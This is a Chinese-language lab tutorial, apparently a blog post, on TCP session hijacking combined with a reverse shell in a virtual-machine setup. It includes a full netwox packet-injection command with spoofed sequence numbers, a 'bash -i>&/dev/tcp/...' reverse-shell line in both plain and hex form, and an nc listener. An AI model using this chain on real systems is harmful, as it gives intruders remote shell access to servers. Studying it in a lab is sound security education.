1.kali linux ;kali linux 介绍
kali linux 的安装过程及解决问题方法
2.ubuntu虚拟机 两台 //其他的如Redhat 、centos也可以
TCP劫持的前提是需要获取到通信双方的TCP流量的数据包。
如果不知道数据包的情况下,会形成ack风暴;
形成ACK风暴的原因:
ack风暴(storm)。当会话双方接收到一个不期望的数据包后,就会用自己期望的序列号返回ack包;而在另一端,这个数据包也不是所期望的,就会再次以自己期望的序列号返回ACK包,于是 来回往返 形成了恶性循环,最终导致ACK风暴。
解决方法:
先进行ARP欺骗或MAC洪泛攻击 使得双方的数据包正常的发送到攻击者这里,然后设置包转发
TCP劫持攻击原理描述如下图描述所示:
为了进一步达到攻击服务器后的其他效果 可以使用反弹shell结合TCP会话劫持来达到目的
就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1)某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2)它的ip会动态改变,你不能持续控制。
3)由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
**那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。**
在以下的场景中可以使用TCP会话劫持和反弹shell达到攻击数据sever的目的。
实现概述:反向shell的注入 就是在TCP劫持攻击的时候将数据换成反向shell的命令;如上图中利用通过会话劫持 取得server和数据server的会话 向数据server 发送给修改后的反向shell数据包,从而使得数据server主动向攻击者建立连接 从而实现破坏
模拟过程中: kali 地址为192.168.247.128;服务器为192.168.247.130;数据服务器为:192.168.247.130
利用ARP欺骗攻击来使得获取通信双方数据包
ARP欺骗攻击点击查看
Usage: netwox 40 [-c uint32] [-e uint32] [-f|+f] [-g|+g] [-h|+h] [-i uint32] [-j uint32] [-k uint32] [-l ip] [-m ip] [-n ip4opts] [-o port] [-p port] [-q uint32] [-r uint32] [-s|+s] [-t|+t] [-u|+u] [-v|+v] [-w|+w] [-x|+x] [-y|+y] [-z|+z] [-A|+A] [-B|+B] [-C|+C] [-D|+D] [-E uint32] [-F uint32] [-G tcpopts] [-H mixed_data] [-a spoofip] [-J uint32] [-K uint32] [-L uint32] [-M uint32] [-N uint32]
Parameters:
-c|–ip4-tos uint32 IP4 tos {0}
-e|–ip4-id uint32 IP4 id (rand if unset) {0}
-f|–ip4-reserved|+f|–no-ip4-reserved IP4 reserved
-g|–ip4-dontfrag|+g|–no-ip4-dontfrag IP4 dontfrag
-h|–ip4-morefrag|+h|–no-ip4-morefrag IP4 morefrag
-i|–ip4-offsetfrag uint32 IP4 offsetfrag {0} //ipv4是否存在片偏移
-j|–ip4-ttl uint32 IP4 ttl {0} //TTL值
-k|–ip4-protocol uint32 IP4 protocol {0} //TCP协议号
-l|–ip4-src ip IP4 src {192.168.149.128}
-m|–ip4-dst ip IP4 dst {5.6.7.8}
-n|–ip4-opt ip4opts IPv4 options
-o|–tcp-src port TCP src {1234}
-p|–tcp-dst port TCP dst {80}
-q|–tcp-seqnum uint32 TCP seqnum (rand if unset) {0}
-r|–tcp-acknum uint32 TCP acknum {0}
-s|–tcp-reserved1|+s|–no-tcp-reserved1 TCP reserved1
-t|–tcp-reserved2|+t|–no-tcp-reserved2 TCP reserved2
-u|–tcp-reserved3|+u|–no-tcp-reserved3 TCP reserved3
-v|–tcp-reserved4|+v|–no-tcp-reserved4 TCP reserved4
-w|–tcp-cwr|+w|–no-tcp-cwr TCP cwr
-x|–tcp-ece|+x|–no-tcp-ece TCP ece
-y|–tcp-urg|+y|–no-tcp-urg TCP urg
-z|–tcp-ack|+z|–no-tcp-ack TCP ack
-A|–tcp-psh|+A|–no-tcp-psh TCP psh
-B|–tcp-rst|+B|–no-tcp-rst TCP rst
-C|–tcp-syn|+C|–no-tcp-syn TCP syn
-D|–tcp-fin|+D|–no-tcp-fin TCP fin
-E|–tcp-window uint32 TCP window {0}
-F|–tcp-urgptr uint32 TCP urgptr {0}
-G|–tcp-opt tcpopts TCP options
-H|–tcp-data mixed_data mixed data
-a|–spoofip spoofip IP spoof initialization type {best}
-J|–ip4-ihl uint32 IP4 ihl {5}
-K|–ip4-totlen uint32 IP4 totlen {0}
-L|–ip4-checksum uint32 IP4 checksum {0}
-M|–tcp-doff uint32 TCP data offset {0}
-N|–tcp-checksum uint32 TCP checksum {0}
如果配置 --ip4-opt opition 后边需要配置参数
sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src IP地址 --ip4-dst
IP地址 --tcp-src 源端口 --tcp-dst 目的端口 --tcp-seqnum 数值 --tcp-acknum 数值
--tcp-ack --tcp-psh --tcp-window 227 --tcp-data "注入代码"
sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.247.130 --ip4-dst 192.168.247.129 --tcp-src 60140 --tcp-dst 23 --tcp-seqnum 2318468613 --tcp-acknum 3285041215 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data “代码”
其中代码为反射shell的语句:
bash -i>&/dev/tcp/192.168.247.128/8888 0>&1
其中192.168.247.128为kali的IP地址
bash -i>&/dev/tcp/192.168.247.128/8888 0>&1
1. Bash –i 即产生一个bash交互环境
2. >&
1)当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件
2)当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
3. /dev/tcp/192.168.247.128/8888 让数据server与kali主机进行tcp连接,端口为8888(注:linux下所有内容都以文件形式组织存在,所以看到/dev/tcp不用感到奇怪,它是Linux中的一个特殊设备,打开这个文件就相当于进行了一个socket调用,建立一个socket连接)
>& 后面接 /dev/tcp/ip/port,根据3的注释和2的注释1)部分可知,意思为将标准输出和标准错误输出重定向到这个文件,重定向到socket连接的kali主机上,此时如果kali主机正在监听相应的端口,就会收到数据server的bash的标准输出和标准错误输出
4. 0>&1 将标准输入重定向到标准输出,而标准输出在之前已经重定向到kali主机了,添加这一部分是因为如果没有这一部分,在kali主机上只能接收输出,而无法输入,或者说无法交互,添加上这一部分后,在kali主机看来,就相当于拿到了数据server的shell
注: 0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>)
想了解反弹shell语句的内容可以点击蓝字:
网络安全&反弹shell✍
字符在线转换为16进制
则最后的攻击语句为:
62617368202D693E262F6465762F7463702F3139322E3136382E3234372E3132382F3838383820303E26310d00
//攻击代码转换后的16机制值,0d00是后添加的0d \r 为回到首行 00 是\n 为换行
sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src
192.168.247.130 --ip4-dst 192.168.247.129 --tcp-src 60140 --tcp-dst 23 --tcp-seqnum 2318468613 --tcp-acknum 3285041215 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202D693E262F6465762F7463702F3139322E3136382E3234372E3132382F3838383820303E26310d00
就是在攻击者的主机上进行监视反弹shell中的端口
nc -lp 8888 -vvv
-l 进入监听模式
-v 进入"啰嗦模式",这将会显示很多有用的信息。使用多个(-vv,-vvv…)进入更"啰嗦"的模式。
-p 设置要绑定的端口号
更多关于nc工具的使用 可以参考下边文献:
NC工具的使用